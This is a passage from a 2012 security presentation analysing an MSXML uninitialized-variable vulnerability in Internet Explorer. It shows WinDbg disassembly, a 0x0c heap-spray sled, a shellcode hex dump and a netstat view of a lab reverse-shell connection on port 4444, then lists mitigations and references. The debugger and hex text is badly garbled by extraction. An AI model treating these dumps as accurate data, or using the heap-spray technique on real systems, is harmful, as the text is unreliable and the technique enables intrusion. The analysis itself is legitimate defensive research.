749bd75f ff7524 push dword ptr [ebp+0x24] ss:0023:0013e2f4=0013e4b4 749bd762 ff7520 push dword ptr [ebp+0x20] 749bd765 57 push dword ptr [ebp+0x20] 749bd766 6a03 push 0x3 749bd768 ff7514 push dword ptr [ebp+0x14] 749bd765 668f8a79b74 push 0x749ba778 749bd770 53 push ebx 749bd772 ff5118 call dword ptr [ecx+0x18] 749bd778 89450c mov [ebp+0xc].eax [eax] 749bd778 89450c mov [eax] [eax] [eax] 749bd778 89450c mov eax.[esi] [eax+0x8] [eax+0x8] [eax+0x8] 749bd778 806 mov eax [eax+0x8] [eax+0x8] <td< th=""><th></th><th></th><th></th><th></th><th></th></td<>					
749bd770 53 push ebx 749bd771 50 push eax 749bd772 ff5118 call dword ptr [ecx+0x18] 749bd775 89450c mov [ebp+0xc], eax 749bd775 89450c mov [ebp+0xc], eax 749bd774 56 push esi 749bd775 ff5008 call dword ptr [eax+0x8] Command - Pid 3820 - WinDbg:6.4.0007.0 1 dword ptr [eax+0x8] O :000> d ecx + 0x18 0c0c0c24 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0	749 749 749 749 749 749 749 749	9bd75f ff7524 9bd762 ff7520 9bd765 57 9bd766 6a03 9bd768 ff7514 9bd76b 68f8a79b74	push dwor push d push e push d push d push d	rd ptr [ebp+0x24] ss lword ptr [ebp+0x20] edi 0x3 lword ptr [ebp+0x14] 1x749ba7f8	:0023:0013e2f4=0013e4b
749bd77b ff5008 call dword ptr [eax+0x8] Command - Pid 3820 - WinDbg:6.4.0007.0 Image: Command - Pid 3820 - WinDbg:6.4.0007.0 0:000> d ecx + 0x18 0:000> d ecx + 0x18 0c0c0c24 0c 0	749 749 749 749 749 749 749	9bd770 53 9bd771 50 9bd772 ff5118 9bd775 89450c 9bd778 8b06 9bd77a 56	push e push e call d mov [mov e push e	ebx eax <u>lword ptr [ecx+0x18]</u> [ebp+0xc],eax eax,[esi] esi	
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	749	96d776 ff5008 Command - Pid 3820 - WinDb	call d	iword ptr [eax+0x8]	
		$\begin{array}{c ccccccccccccccccccccccccccccccccccc$	C OC OC OC C OC OC OC	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

Analysis of the vulnerability (23)

The or al,0x0c sled is successfully executed until it finds the shellcode.

	0c0c0c0c	0c0c		0	r	al,0)xc		
	0c0c0c0e	0c0c		0	r	al,0)xc		
	0c0c0c10	0c0c		0	r	al,0)xc		
	0c0c0c12	0c0c		0	r	al,0)xc		
	0c0c0c14	0c0c		0	r	al,0)xc		
	0c0c0c16	0c0c		0	r	al,(xc		
	0c0c0c18	0c0c		0	r	al,(xc		
	OcOcOcla	0c0c		0	r	al,(xc		
	UcUcUclc	UcUc		0	r	al,t	xc		
	UCUCUCIE	UcUc		0	r	al, l	xc		
		UCUC		0	r	al,t	xc		
		0000		0	r	a1,0	xc		
				0.	r	a1,0	XC		
1				0.	r m	a1,0			
	0000028	0000			r r	a1,0			
					r	a1,0			
		0c0c		 	r	al (
	0c0c0c30	0c0c		0	r	alí			
	0c0c0c32	0c0c		0	r	alí	Ixe		
						,			
•									
0:000 > d [ecx+)	6181								
0c0c1224 72 23	7 96 79 74	4 46 7f	04-4Ъ	7b 08	eb 6	7 a8 b	5 8d	r'.ytFK{g	10000 100
0c0c1234 b8 3	5 3f 25 1d	1 9f 98	4f-b7	91 76	48 b	f Ob d	11 d2	.5?%OvH	
0c0c1244 d3 d	6 8c e0 61	5 f5 90	b9-1b	fc 49	09 f	8 7a 1	.4 77	kIz.	
0c0c1254 23 f	7 el 20 e	3 75 43	89-f9	a9 93	13 d	54a1	.c 15	#uCJ.	
0c0c1264 bb 91	b ba 66 37	7 3b d4	69-fd	24 97	41 7	a 4e a	а8 7Ъ	f7;_i.\$.AzN.	
UCUC1274 04 90	ь bb 76 7) 7c 4a	83-e2	08 eb	70 2	1 19 9	t be	vu Jp!	
UCUC1284 b9 76	e 22 d5 a'	90 27	24-b5	66 2f	- b4 U	d 10 f	5 bt	\$.t/	
UCUC1294 40 40	e 41 33 fo	c 48 80	eU-Ua	db 42	D3 3	a 74 1	.a Uc	@NA3.HB.=t.	

Analysis of the vulnerability (24)



Shellcode execution is achieved:

C:\WIND	00W5\system32\cmd.exe			
Active (Connections			
Proto TCP TCP TCP TCP UDP UDP UDP UDP UDP UDP UDP UDP UDP UD	Local Address 0.0.0.0:135 0.0.0.0:445 127.0.0.1:1025 192.168.235.129:1388 0.0.0.0:500 0.0.0.0:1026 0.0.0.0:1067 0.0.0.0:104 0.0.0.0:1278 0.0.0.0:1340 0.0.0.0:1340 0.0.0.0:4500 127.0.0.1:1379 127.0.0.1:1379 127.0.0.1:1379 127.0.0.1:1379 192.168.235.129:123 192.168.235.129:138 192.168.235.129:138 192.168.235.129:138	Foreign Address 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 192.168.235.131:4444 *:* *:* *:* *:* *:* *:* *:*	State LISTENING LISTENING LISTENING ESTABLISHED	
UDP UDP C:\>_	192.168.235.129:138 192.168.235.129:1900	*:*		~

Some temporary mitigations

- Microsoft created a new workaround in the form of a fix-it.
- The "Fix it" package makes a minor change at runtime to either msxml3.dll, msxml4.dll or msxml6.dll modules every time Internet Explorer is loaded.
- This modification causes Internet Explorer to properly initialize the previously uninitialized variable which is the main problem of this vulnerability.
- Deploy the Enhanced Mitigation Experience Toolkit.
- Configure Internet Explorer to prompt before running Active Scripting or disable Active Scripting in the Internet and Local Intranet security zones.

- http://technet.microsoft.com/enus/security/advisory/2719615
- http://support.microsoft.com/kb/2719615
- http://googleonlinesecurity.blogspot.co.uk/2012/06/micros oft-xml-vulnerability-under.html
- https://community.rapid7.com/community/metasploit/blog/ 2012/06/18/metasploit-exploits-critical-microsoftvulnerabilities
- http://blogs.technet.com/b/srd/archive/2012/06/13/msxmlfix-it-before-fixing-it.aspx
- http://en.wikipedia.org/wiki/XML
- http://research.swtch.com/sparse
- http://www.corelan.be

THANK-YOU FOR READING



Your questions are always welcome!

brian.mariani@htbridge.ch frederic.bourla@htbridge.ch

©2012 High-Tech Bridge SA – www.htbridge.com